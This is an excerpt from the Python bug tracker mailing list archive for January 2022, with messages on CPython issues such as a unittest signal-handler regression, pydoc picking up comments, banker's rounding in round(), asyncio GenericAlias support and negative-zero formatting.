documentation (general cleanup) In-Reply-To: <1640871752.23.0.818403233457.issue46204@roundup.psfhosted.org> Message-ID: <1642812212.49.0.407338342093.issue46204@roundup.psfhosted.org> Change by David Mc Dougall : ---------- resolution: -> wont fix stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 20:16:15 2022 From: report at bugs.python.org (Tim Peters) Date: Sat, 22 Jan 2022 01:16:15 +0000 Subject: [issue46071] Graphlib documentation (edge direction) In-Reply-To: <1639495203.77.0.753963192728.issue46071@roundup.psfhosted.org> Message-ID: <1642814175.87.0.180035709129.issue46071@roundup.psfhosted.org> Tim Peters added the comment: > I know that there are many different ways to represent > a graph, but your graph format *is just plain wrong.* Yet when I offered to support an option to support the graph format you insist is uniquely "right", you poo-poo'ed the idea. So what is your real complaint? I don't know. Here you once again complain about the graph format, after rejecting an idea to address that directly. Sorry, but you don't make sense to me. > if you're willing to rewrite all of the documentation you > probably can explain this in a clear and simple way, and > without breaking compatibility. I don't see that happening. The docs are quite clear to me already, but I recognize that I'm too close to them to be objective about that. Instead I'm going on ample evidence from mailing lists, blogs, and StackOverflow that yours is the first complaint I've seen that the basic functionality here is any way unclear or ill-documented. People pick it up and use it productively at once. Nobody else has appeared to be confused. Where things get unclear is limited to novel applications of multiprocessing. But people always stumble over multiprocessing, even for something as simple and bulletproof as a multiprocessing.Queue. Comes with the territory. Finally, the distinction between "predecessors" and "dependencies" here strikes me as being uselessly pedantic. Nobody on the planet has an actual problem with recognizing that, e.g., "a" is predecessor of "n" in the string "pedantic". That's so in both technical language and plain English. Same here. Still, if you want to rewrite the docs, go for out. I'll stay out of it completely. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 20:19:21 2022 From: report at bugs.python.org (STINNER Victor) Date: Sat, 22 Jan 2022 01:19:21 +0000 Subject: [issue46417] Clear static types in Py_Finalize() for embedded Python In-Reply-To: <1642439960.76.0.0303208494568.issue46417@roundup.psfhosted.org> Message-ID: <1642814361.88.0.172040097329.issue46417@roundup.psfhosted.org> Change by STINNER Victor : ---------- pull_requests: +28960 pull_request: https://github.com/python/cpython/pull/30775 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 20:30:09 2022 From: report at bugs.python.org (STINNER Victor) Date: Sat, 22 Jan 2022 01:30:09 +0000 Subject: [issue46465] test_unittest: TestBreakSignalDefault.testInstallHandler() fails if run after TestBreak Message-ID: <1642815009.1.0.251080855194.issue46465@roundup.psfhosted.org> New submission from STINNER Victor : test_unittest: TestBreakSignalDefault.testInstallHandler() fails if run after TestBreak: --------- $ ./python -m test -v test_unittest -R 3:3 -m '*TestBreak.testHandlerReplacedButCalled' -m '*TestBreak.testInstallHandler' -m '*TestBreakSignalDefault.testInstallHandler' (...) beginning 6 repetitions 123456 testHandlerReplacedButCalled (unittest.test.test_break.TestBreak) ... ok testInstallHandler (unittest.test.test_break.TestBreak) ... ok testInstallHandler (unittest.test.test_break.TestBreakSignalDefault) ... ok ---------------------------------------------------------------------- Ran 3 tests in 0.003s OK (...) .testHandlerReplacedButCalled (unittest.test.test_break.TestBreak) ... ok testInstallHandler (unittest.test.test_break.TestBreak) ... ok testInstallHandler (unittest.test.test_break.TestBreakSignalDefault) ... FAIL ====================================================================== FAIL: testInstallHandler (unittest.test.test_break.TestBreakSignalDefault) ---------------------------------------------------------------------- Traceback (most recent call last): File "/home/vstinner/python/main/Lib/unittest/test/test_break.py", line 38, in testInstallHandler self.assertTrue(unittest.signals._interrupt_handler.called) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ AssertionError: False is not true (...) --------- Or you can use a "bisect" file: --- unittest.test.test_break.TestBreak.testHandlerReplacedButCalled unittest.test.test_break.TestBreak.testInstallHandler unittest.test.test_break.TestBreakSignalDefault.testInstallHandler --- And the command: ./python -m test -v -F test_unittest --matchfile=bisect Or the command: ./python -m test -v test_unittest -R 3:3 --matchfile=bisect It fails starting at the 4th iteration. ---------- components: Tests messages: 411217 nosy: vstinner priority: normal severity: normal status: open title: test_unittest: TestBreakSignalDefault.testInstallHandler() fails if run after TestBreak versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 20:38:03 2022 From: report at bugs.python.org (David Mc Dougall) Date: Sat, 22 Jan 2022 01:38:03 +0000 Subject: [issue46466] help function reads comments Message-ID: <1642815483.44.0.54511275509.issue46466@roundup.psfhosted.org> New submission from David Mc Dougall : My inline comment ('#') got picked up by the help command. Write the following code to a file (I named it "reproducer.py"): """ class Foo: # Hello docstring, I'm a '#' comment! def bar(self): pass assert Foo.bar.__doc__ is None help(Foo.bar) """ The bug only happens when the file is executed. $ python3 reproducer.py Help on function bar in module __main__: bar(self) # Hello docstring, I'm a '#' comment! Evaluating it at the interactive prompt does not reproduce the bug. $ cat reproducer.py | python3 Help on function bar in module __main__: bar(self) ---------- messages: 411218 nosy: dam1784 priority: normal severity: normal status: open title: help function reads comments type: behavior versions: Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 20:38:49 2022 From: report at bugs.python.org (David Mc Dougall) Date: Sat, 22 Jan 2022 01:38:49 +0000 Subject: [issue46466] help function reads comments In-Reply-To: <1642815483.44.0.54511275509.issue46466@roundup.psfhosted.org> Message-ID: <1642815529.12.0.51842884695.issue46466@roundup.psfhosted.org> Change by David Mc Dougall : ---------- nosy: -dam1784 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 20:42:23 2022 From: report at bugs.python.org (STINNER Victor) Date: Sat, 22 Jan 2022 01:42:23 +0000 Subject: [issue46465] test_unittest: TestBreakSignalDefault.testInstallHandler() fails if run after TestBreak In-Reply-To: <1642815009.1.0.251080855194.issue46465@roundup.psfhosted.org> Message-ID: <1642815743.88.0.750707758855.issue46465@roundup.psfhosted.org> STINNER Victor added the comment: It's a regression introduced by the following change: commit 3163e68c342434db37c69669017f96a4bb2d5f13 Author: Ken Jin <28750310+Fidget-Spinner at users.noreply.github.com> Date: Wed Oct 20 07:16:36 2021 +0800 bpo-44525: Specialize ``CALL_FUNCTION`` for C function calls (GH-26934) ---------- keywords: +3.11regression nosy: +Mark.Shannon, eric.snow, gvanrossum, kj priority: normal -> release blocker _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 21:18:28 2022 From: report at bugs.python.org (STINNER Victor) Date: Sat, 22 Jan 2022 02:18:28 +0000 Subject: [issue46465] test_unittest: TestBreakSignalDefault.testInstallHandler() fails if run after TestBreak In-Reply-To: <1642815009.1.0.251080855194.issue46465@roundup.psfhosted.org> Message-ID: <1642817908.43.0.273139146679.issue46465@roundup.psfhosted.org> STINNER Victor added the comment: Attached bug.py reproduces the bug without unittest, just run: ./python bug.py On Python 3.10, it writes: --- LOOP 0 LOOP 1 (...) LOOP 14 LOOP 15 --- On the main branch, it fails with: --- LOOP 0 LOOP 1 LOOP 2 LOOP 3 LOOP 4 LOOP 5 LOOP 6 LOOP 7 Traceback (most recent call last): File "/home/vstinner/bug.py", line 24, in Bug().run() ^^^^^^^^^^^ File "/home/vstinner/bug.py", line 19, in run raise Exception("bug") ^^^^^^^^^^^^^^^^^^^^^^ Exception: bug --- ---------- Added file: https://bugs.python.org/file50575/bug.py _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 21:34:41 2022 From: report at bugs.python.org (Steven D'Aprano) Date: Sat, 22 Jan 2022 02:34:41 +0000 Subject: [issue46466] help function reads comments In-Reply-To: <1642815483.44.0.54511275509.issue46466@roundup.psfhosted.org> Message-ID: <1642818881.27.0.489922834628.issue46466@roundup.psfhosted.org> Steven D'Aprano added the comment: That's not a bug. https://docs.python.org/3/library/pydoc.html "If there is no docstring, pydoc tries to obtain a description from the block of comment lines just above the definition of the class, function or method in the source file, or at the top of the module (see inspect.getcomments())." ---------- nosy: +dam1784, steven.daprano resolution: -> not a bug stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 21:36:11 2022 From: report at bugs.python.org (Adam Ulrich) Date: Sat, 22 Jan 2022 02:36:11 +0000 Subject: [issue46467] Rounding 5, 50, 500 behaves differently depending on preceding value Message-ID: <1642818971.51.0.492086652953.issue46467@roundup.psfhosted.org> New submission from Adam Ulrich : round(250,-2) returns 200 round(350,-2) returns 400 round(450,-2) returns 400 round(550,-2) returns 600 round(5,-1) returns 0 round(15,-1) returns 20 round(500,-3) returns 0 round(1500,-3) returns 2000 expected: round of 5 to consistently rounds up. ---------- components: Interpreter Core messages: 411222 nosy: adam.ulrich priority: normal severity: normal status: open title: Rounding 5,50,500 behaves differently depending on preceding value type: behavior versions: Python 3.10 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 21:58:28 2022 From: report at bugs.python.org (Spencer Brown) Date: Sat, 22 Jan 2022 02:58:28 +0000 Subject: [issue46467] Rounding 5, 50, 500 behaves differently depending on preceding value In-Reply-To: <1642818971.51.0.492086652953.issue46467@roundup.psfhosted.org> Message-ID: <1642820308.65.0.529099164127.issue46467@roundup.psfhosted.org> Spencer Brown added the comment: This is intentional behaviour, if the value is 5 it rounds towards even as documented here: https://docs.python.org/3/library/functions.html#round The reason is so that if you have a bunch of random data, rounding won't slightly bias the result upward or downward. ---------- nosy: +Spencer Brown _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 22:11:22 2022 From: report at bugs.python.org (licunlong) Date: Sat, 22 Jan 2022 03:11:22 +0000 Subject: [issue46454] '0 -> /dev/null' is lost In-Reply-To: <1642766153.46.0.556791990474.issue46454@roundup.psfhosted.org> Message-ID: <1642821082.97.0.00485952190121.issue46454@roundup.psfhosted.org> licunlong added the comment: But one more question. Please take a look at fd.py. In this file, we first close fd 0, then open /dev/null as fd_null, and dump fd_null to fd 0. After we fork new process, this fd 0 `is` inherited. This seems to be a bug? ---------- nosy: +Geass-LL _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 22:19:52 2022 From: report at bugs.python.org (STINNER Victor) Date: Sat, 22 Jan 2022 03:19:52 +0000 Subject: [issue46454] '0 -> /dev/null' is lost In-Reply-To: <1642766153.46.0.556791990474.issue46454@roundup.psfhosted.org> Message-ID: <1642821592.24.0.199435378708.issue46454@roundup.psfhosted.org> STINNER Victor added the comment: > this fd 0 `is` inherited. File descriptors 0, 1, 2 are special: stdin, stdout and stderr file descriptors. You should use stdin, stdout, and stderr parameter of subprocess. Sorry but the bug tracker is not a good place to ask questions about how to use Python, it's only to report bugs. Python works as expected. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 22:28:18 2022 From: report at bugs.python.org (Jelle Zijlstra) Date: Sat, 22 Jan 2022 03:28:18 +0000 Subject: [issue36643] Forward reference is not resolved by dataclasses.fields() In-Reply-To: <1555443878.01.0.308772794144.issue36643@roundup.psfhosted.org> Message-ID: <1642822098.61.0.464968565314.issue36643@roundup.psfhosted.org> Jelle Zijlstra added the comment: I don't think we should merge this change. get_type_hints() is fragile and full of corner cases around using the right globals and locals dictionaries. dataclasses shouldn't execute it implicitly for you. ---------- nosy: +Jelle Zijlstra versions: +Python 3.11 -Python 3.7 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 22:29:09 2022 From: report at bugs.python.org (Steven D'Aprano) Date: Sat, 22 Jan 2022 03:29:09 +0000 Subject: [issue46467] Rounding 5, 50, 500 behaves differently depending on preceding value In-Reply-To: <1642818971.51.0.492086652953.issue46467@roundup.psfhosted.org> Message-ID: <1642822149.82.0.31984117021.issue46467@roundup.psfhosted.org> Steven D'Aprano added the comment: As documented, this is not a bug. "if two multiples are equally close, rounding is done toward the even choice" https://docs.python.org/3/library/functions.html#round This is also called "Banker's Rounding" or "Round half to even" and for rounding many values, it minimizes the expected total rounding error. https://en.wikipedia.org/wiki/Rounding#Round_half_to_even ---------- nosy: +steven.daprano resolution: -> not a bug stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 22:31:18 2022 From: report at bugs.python.org (Jelle Zijlstra) Date: Sat, 22 Jan 2022 03:31:18 +0000 Subject: [issue44799] typing.get_type_hints() raises TypeError for a variable annotated by dataclasses.InitVar In-Reply-To: <1627751984.55.0.589090528607.issue44799@roundup.psfhosted.org> Message-ID: <1642822278.04.0.712486366892.issue44799@roundup.psfhosted.org> Jelle Zijlstra added the comment: I think this should be fixed in typing.py instead. get_type_hints() should be less strict about what it accepts as a type, so users are free to use annotations in innovative ways. Static type checkers should have the job of enforcing that type annotations are valid types. ---------- nosy: +Jelle Zijlstra _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 22:59:08 2022 From: report at bugs.python.org (Dong-hee Na) Date: Sat, 22 Jan 2022 03:59:08 +0000 Subject: [issue37093] http.client aborts header parsing upon encountering non-ASCII header names In-Reply-To: <1559172729.29.0.908018369806.issue37093@roundup.psfhosted.org> Message-ID: <1642823948.7.0.734576272795.issue37093@roundup.psfhosted.org> Change by Dong-hee Na : ---------- nosy: +corona10 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 23:01:05 2022 From: report at bugs.python.org (licunlong) Date: Sat, 22 Jan 2022 04:01:05 +0000 Subject: [issue46454] '0 -> /dev/null' is lost In-Reply-To: <1642766153.46.0.556791990474.issue46454@roundup.psfhosted.org> Message-ID: <1642824065.18.0.0591325640958.issue46454@roundup.psfhosted.org> licunlong added the comment: > File descriptors 0, 1, 2 are special: stdin, stdout and stderr file descriptors. You should use stdin, stdout, and stderr parameter of subprocess. I finally find why `fd 0` is inherited. The reason is that os.dup2() has a parameter "inheritable" which defaults to True. Not because it's special stdin. I still think this is a bug. If some one closes fd 0, then he reopens it. it will not be inherited. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 23:18:07 2022 From: report at bugs.python.org (David Mc Dougall) Date: Sat, 22 Jan 2022 04:18:07 +0000 Subject: [issue46071] Graphlib documentation (edge direction) In-Reply-To: <1639495203.77.0.753963192728.issue46071@roundup.psfhosted.org> Message-ID: <1642825087.73.0.910925128306.issue46071@roundup.psfhosted.org> Change by David Mc Dougall : ---------- stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 23:29:07 2022 From: report at bugs.python.org (Jelle Zijlstra) Date: Sat, 22 Jan 2022 04:29:07 +0000 Subject: [issue46468] http.server documentation missing default value for port Message-ID: <1642825747.07.0.0445462494126.issue46468@roundup.psfhosted.org> New submission from Jelle Zijlstra : "python -m http.server" works and listens on port 8000, but the docs suggest you always have to pass the port. PR incoming. ---------- assignee: Jelle Zijlstra components: Documentation messages: 411230 nosy: Jelle Zijlstra priority: normal severity: normal status: open title: http.server documentation missing default value for port versions: Python 3.10, Python 3.11, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 23:36:38 2022 From: report at bugs.python.org (Jelle Zijlstra) Date: Sat, 22 Jan 2022 04:36:38 +0000 Subject: [issue46468] http.server documentation missing default value for port In-Reply-To: <1642825747.07.0.0445462494126.issue46468@roundup.psfhosted.org> Message-ID: <1642826198.36.0.886100202745.issue46468@roundup.psfhosted.org> Change by Jelle Zijlstra : ---------- keywords: +patch pull_requests: +28961 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30776 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 23:41:15 2022 From: report at bugs.python.org (Kumar Aditya) Date: Sat, 22 Jan 2022 04:41:15 +0000 Subject: [issue46469] asyncio Generic classes should return GenericAlias in __class_getitem__ Message-ID: <1642826475.34.0.618901981445.issue46469@roundup.psfhosted.org> New submission from Kumar Aditya : In asyncio, the Generic classes return the class itself in __class_getitem__ instead of GenericAlias, because of this they cannot be introspected as GenericAlias objects. Running Debug|x64 interpreter... Python 3.11.0a4+ (main, Jan 22 2022, 10:00:18) [MSC v.1930 64 bit (AMD64)] on win32 Type "help", "copyright", "credits" or "license" for more information. >>> import asyncio >>> asyncio.Future >>> asyncio.Future[int] >>> list >>> list[int] list[int] >>> list[int].__args__ (,) >>> asyncio.Future[int].__args__ Traceback (most recent call last): File "", line 1, in AttributeError: type object '_asyncio.Future' has no attribute '__args__' ---------- messages: 411231 nosy: asvetlov, kumaraditya303, yselivanov priority: normal severity: normal status: open title: asyncio Generic classes should return GenericAlias in __class_getitem__ type: behavior versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 22 00:01:41 2022 From: report at bugs.python.org (Kumar Aditya) Date: Sat, 22 Jan 2022 05:01:41 +0000 Subject: [issue46469] asyncio Generic classes should return GenericAlias in __class_getitem__ In-Reply-To: <1642826475.34.0.618901981445.issue46469@roundup.psfhosted.org> Message-ID: <1642827701.18.0.200344870171.issue46469@roundup.psfhosted.org> Change by Kumar Aditya : ---------- keywords: +patch pull_requests: +28962 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30777 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 22 00:34:21 2022 From: report at bugs.python.org (Kumar Aditya) Date: Sat, 22 Jan 2022 05:34:21 +0000 Subject: [issue46417] Clear static types in Py_Finalize() for embedded Python In-Reply-To: <1642439960.76.0.0303208494568.issue46417@roundup.psfhosted.org> Message-ID: <1642829661.09.0.954755822467.issue46417@roundup.psfhosted.org> Kumar Aditya added the comment: The following patch further reduces the reference but not sure if it is correct. diff --git a/Objects/object.c b/Objects/object.c index a5ee8eef4a..2ba6d14d5b 100644 --- a/Objects/object.c +++ b/Objects/object.c @@ -1853,6 +1853,9 @@ static PyTypeObject* static_types[] = { &PyClassMethod_Type, &PyCode_Type, &PyComplex_Type, + &PyContext_Type, + &PyContextVar_Type, + &PyContextToken_Type, &PyCoro_Type, &PyDictItems_Type, &PyDictIterItem_Type, @@ -1911,6 +1914,13 @@ static PyTypeObject* static_types[] = { &_PyAsyncGenAThrow_Type, &_PyAsyncGenWrappedValue_Type, &_PyCoroWrapper_Type, + &_PyHamt_Type, + &_PyHamt_ArrayNode_Type, + &_PyHamt_BitmapNode_Type, + &_PyHamt_CollisionNode_Type, + &_PyHamtKeys_Type, + &_PyHamtValues_Type, + &_PyHamtItems_Type, &_PyInterpreterID_Type, &_PyManagedBuffer_Type, &_PyMethodWrapper_Type, Before: Running Debug|x64 interpreter... [4929 refs, 1988 blocks] After: Running Debug|x64 interpreter... [4541 refs, 1853 blocks] ---------- nosy: +kumaraditya303 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 22 02:09:45 2022 From: report at bugs.python.org (Eric V. Smith) Date: Sat, 22 Jan 2022 07:09:45 +0000 Subject: [issue46442] testExceptionCleanupNames doesn't test anything? In-Reply-To: <1642638785.66.0.497652799154.issue46442@roundup.psfhosted.org> Message-ID: <1642835385.97.0.597694817897.issue46442@roundup.psfhosted.org> Eric V. Smith added the comment: New changeset 82c53229e18f5853c82cb8ab6b9af1925a0e9e58 by Yellow Dusk in branch 'main': bpo-46442: improve and rename testExceptionCleanupNames (GH-30758) https://github.com/python/cpython/commit/82c53229e18f5853c82cb8ab6b9af1925a0e9e58 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 22 02:09:47 2022 From: report at bugs.python.org (miss-islington) Date: Sat, 22 Jan 2022 07:09:47 +0000 Subject: [issue46442] testExceptionCleanupNames doesn't test anything? In-Reply-To: <1642638785.66.0.497652799154.issue46442@roundup.psfhosted.org> Message-ID: <1642835387.11.0.127286674364.issue46442@roundup.psfhosted.org> Change by miss-islington : ---------- nosy: +miss-islington nosy_count: 4.0 -> 5.0 pull_requests: +28963 pull_request: https://github.com/python/cpython/pull/30778 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 22 02:09:52 2022 From: report at bugs.python.org (miss-islington) Date: Sat, 22 Jan 2022 07:09:52 +0000 Subject: [issue46442] testExceptionCleanupNames doesn't test anything? In-Reply-To: <1642638785.66.0.497652799154.issue46442@roundup.psfhosted.org> Message-ID: <1642835392.45.0.572407070159.issue46442@roundup.psfhosted.org> Change by miss-islington : ---------- pull_requests: +28964 pull_request: https://github.com/python/cpython/pull/30779 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 22 02:34:37 2022 From: report at bugs.python.org (miss-islington) Date: Sat, 22 Jan 2022 07:34:37 +0000 Subject: [issue46442] testExceptionCleanupNames doesn't test anything? In-Reply-To: <1642638785.66.0.497652799154.issue46442@roundup.psfhosted.org> Message-ID: <1642836877.93.0.584012788424.issue46442@roundup.psfhosted.org> miss-islington added the comment: New changeset d4a9e34401d519250d3b3744cd10394069f748c1 by Miss Islington (bot) in branch '3.10': bpo-46442: improve and rename testExceptionCleanupNames (GH-30758) https://github.com/python/cpython/commit/d4a9e34401d519250d3b3744cd10394069f748c1 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 22 02:37:40 2022 From: report at bugs.python.org (miss-islington) Date: Sat, 22 Jan 2022 07:37:40 +0000 Subject: [issue46442] testExceptionCleanupNames doesn't test anything? In-Reply-To: <1642638785.66.0.497652799154.issue46442@roundup.psfhosted.org> Message-ID: <1642837060.57.0.297947649816.issue46442@roundup.psfhosted.org> miss-islington added the comment: New changeset e064af564c8580285a76199229864ddfb1e50c0f by Miss Islington (bot) in branch '3.9': bpo-46442: improve and rename testExceptionCleanupNames (GH-30758) https://github.com/python/cpython/commit/e064af564c8580285a76199229864ddfb1e50c0f ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 22 03:14:43 2022 From: report at bugs.python.org (Eric V. Smith) Date: Sat, 22 Jan 2022 08:14:43 +0000 Subject: [issue46442] testExceptionCleanupNames doesn't test anything? In-Reply-To: <1642638785.66.0.497652799154.issue46442@roundup.psfhosted.org> Message-ID: <1642839283.76.0.014638004955.issue46442@roundup.psfhosted.org> Eric V. Smith added the comment: Thanks, @yellowdusk1590! ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 22 03:16:45 2022 From: report at bugs.python.org (Irit Katriel) Date: Sat, 22 Jan 2022 08:16:45 +0000 Subject: [issue29257] Possible error in discussion of Abstract Base Classes and abstract properties In-Reply-To: <1484268516.3.0.750896526181.issue29257@psf.upfronthosting.co.za> Message-ID: <1642839405.55.0.401697701485.issue29257@roundup.psfhosted.org> Change by Irit Katriel : ---------- stage: -> resolved status: pending -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 22 03:37:13 2022 From: report at bugs.python.org (Alex Waygood) Date: Sat, 22 Jan 2022 08:37:13 +0000 Subject: [issue45524] Cross-module dataclass inheritance breaks get_type_hints In-Reply-To: <1634654267.46.0.759337669411.issue45524@roundup.psfhosted.org> Message-ID: <1642840633.52.0.379591649259.issue45524@roundup.psfhosted.org> Change by Alex Waygood : ---------- nosy: +Jelle Zijlstra _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 22 04:01:00 2022 From: report at bugs.python.org (Kumar Aditya) Date: Sat, 22 Jan 2022 09:01:00 +0000 Subject: [issue46421] unittest ValueError when invoking as module In-Reply-To: <1642462502.0.0.0134332485819.issue46421@roundup.psfhosted.org> Message-ID: <1642842060.69.0.769493227542.issue46421@roundup.psfhosted.org> Change by Kumar Aditya : ---------- nosy: +kumaraditya303, serhiy.storchaka type: -> behavior versions: +Python 3.11, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 22 04:03:07 2022 From: report at bugs.python.org (Irit Katriel) Date: Sat, 22 Jan 2022 09:03:07 +0000 Subject: [issue46453] argparse subparser help text is not escaped before string formatting In-Reply-To: <1642765020.5.0.0512563787695.issue46453@roundup.psfhosted.org> Message-ID: <1642842187.52.0.208817024885.issue46453@roundup.psfhosted.org> Irit Katriel added the comment: This is a feature. See https://docs.python.org/3/library/argparse.html#help ---------- nosy: +iritkatriel resolution: -> not a bug stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 22 04:08:49 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Sat, 22 Jan 2022 09:08:49 +0000 Subject: [issue46396] Typing: test invalid usages of `Concatenate` In-Reply-To: <1642322338.93.0.221862480137.issue46396@roundup.psfhosted.org> Message-ID: <1642842529.8.0.165564866058.issue46396@roundup.psfhosted.org> Nikita Sobolev added the comment: > So maybe that code could just be removed? I see this trend in typing.py :) I think it makes sense to make all new types (I still consider `ParamSpec` and `Concatenate` as new, desipte the fact they are already released in 3.10) as flexible as possible. I will change my PR. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 22 04:09:29 2022 From: report at bugs.python.org (Kumar Aditya) Date: Sat, 22 Jan 2022 09:09:29 +0000 Subject: [issue43079] wrong IP address range given for ipv4_mapped In-Reply-To: <1612045040.37.0.190941589781.issue43079@roundup.psfhosted.org> Message-ID: <1642842569.16.0.863922672671.issue43079@roundup.psfhosted.org> Change by Kumar Aditya : ---------- versions: +Python 3.11 -Python 3.6, Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 22 04:19:51 2022 From: report at bugs.python.org (Alex Waygood) Date: Sat, 22 Jan 2022 09:19:51 +0000 Subject: [issue46399] Addition of `mapping` attribute to dict views classes has inadvertently broken type-checkers In-Reply-To: <1642341319.06.0.115818889997.issue46399@roundup.psfhosted.org> Message-ID: <1642843191.48.0.134145720557.issue46399@roundup.psfhosted.org> Alex Waygood added the comment: Thanks for the PRs, Kumar ? I appreciate you putting in the time. Sorry for the wasted effort. ---------- resolution: -> not a bug stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 22 04:30:14 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Sat, 22 Jan 2022 09:30:14 +0000 Subject: [issue46396] Typing: test invalid usages of `Concatenate` In-Reply-To: <1642322338.93.0.221862480137.issue46396@roundup.psfhosted.org> Message-ID: <1642843814.94.0.59145520611.issue46396@roundup.psfhosted.org> Nikita Sobolev added the comment: With this change `typing.py` and `typing_extensions.py` will have different logic: https://github.com/python/typing/blob/523cf0233edc7a29502fbd30dc6bf641a7408e16/typing_extensions/src/typing_extensions.py#L1805-L1811 Jelle, what should we do? ---------- nosy: +Jelle Zijlstra _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 22 04:38:36 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Sat, 22 Jan 2022 09:38:36 +0000 Subject: [issue46445] Multiple inheritance of TypedDict is not covered in `test_typing` In-Reply-To: <1642693943.8.0.781242161196.issue46445@roundup.psfhosted.org> Message-ID: <1642844316.49.0.179097862117.issue46445@roundup.psfhosted.org> Nikita Sobolev added the comment: Thanks for the review and merge! :sparkle: ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 22 04:40:29 2022 From: report at bugs.python.org (Dong-hee Na) Date: Sat, 22 Jan 2022 09:40:29 +0000 Subject: [issue46249] [sqlite3] move set lastrowid out of the query loop and enable it for executemany() In-Reply-To: <1641244467.23.0.820858977306.issue46249@roundup.psfhosted.org> Message-ID: <1642844429.68.0.58449555573.issue46249@roundup.psfhosted.org> Dong-hee Na added the comment: New changeset 38afeb1a336f0451c0db86df567ef726f49f6438 by Erlend Egeberg Aasland in branch 'main': bpo-46249: Move set lastrowid out of the sqlite3 query loop (GH-30489) https://github.com/python/cpython/commit/38afeb1a336f0451c0db86df567ef726f49f6438 ---------- nosy: +corona10 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 22 04:47:38 2022 From: report at bugs.python.org (Dong-hee Na) Date: Sat, 22 Jan 2022 09:47:38 +0000 Subject: [issue46249] [sqlite3] move set lastrowid out of the query loop and enable it for executemany() In-Reply-To: <1641244467.23.0.820858977306.issue46249@roundup.psfhosted.org> Message-ID: <1642844858.35.0.983600650758.issue46249@roundup.psfhosted.org> Change by Dong-hee Na : ---------- stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 22 05:00:59 2022 From: report at bugs.python.org (Mark Dickinson) Date: Sat, 22 Jan 2022 10:00:59 +0000 Subject: [issue45995] string formatting: normalize negative zero In-Reply-To: <1638792226.95.0.292604366656.issue45995@roundup.psfhosted.org> Message-ID: <1642845659.17.0.331316086407.issue45995@roundup.psfhosted.org> Mark Dickinson added the comment: [John] > Mark, would you give it a review this month? Apologies; my holiday-break free time was nobbled from unexpected quarters. I can't promise to find time this month, but I can promise to try. I did at least skim through the PR, and while there are still likely some iterations needed I'm satisfied that this is technically feasible. But I'm afraid that's the easy part. If this is to go in, the other problem we still have to solve is achieving some consensus among the core developers that this is worth doing. Right now, judging by comments on this issue, I think I'm the only core dev who thinks this is a good idea; others are lukewarm at best, and I'm not willing to unilaterally approve and merge these changes without something closer to a consensus. There are a couple of ways forward here: - Post the proposal on python-ideas to get wider visibility and feedback. If everyone agrees this is a great idea (from experience, this seems an unlikely outcome), then we can go ahead and merge. Otherwise we'd likely need a PEP to move forward. - Bypass the python-ideas step, write the PEP, discuss in the appropriate forums, and then submit to the SC for approval / rejection. - Convince Eric Smith. :-) With apologies to Eric for singling him out: Eric could reasonably be described as the steward/maintainer of the formatting machinery, so if he's persuaded, that's good enough for me. The fact that you've already created a working implementation so that people can experiment is a bonus when it comes to trying to sell this to others. I don't have the bandwidth to write a PEP, but I would be happy to act as PEP sponsor. ---------- 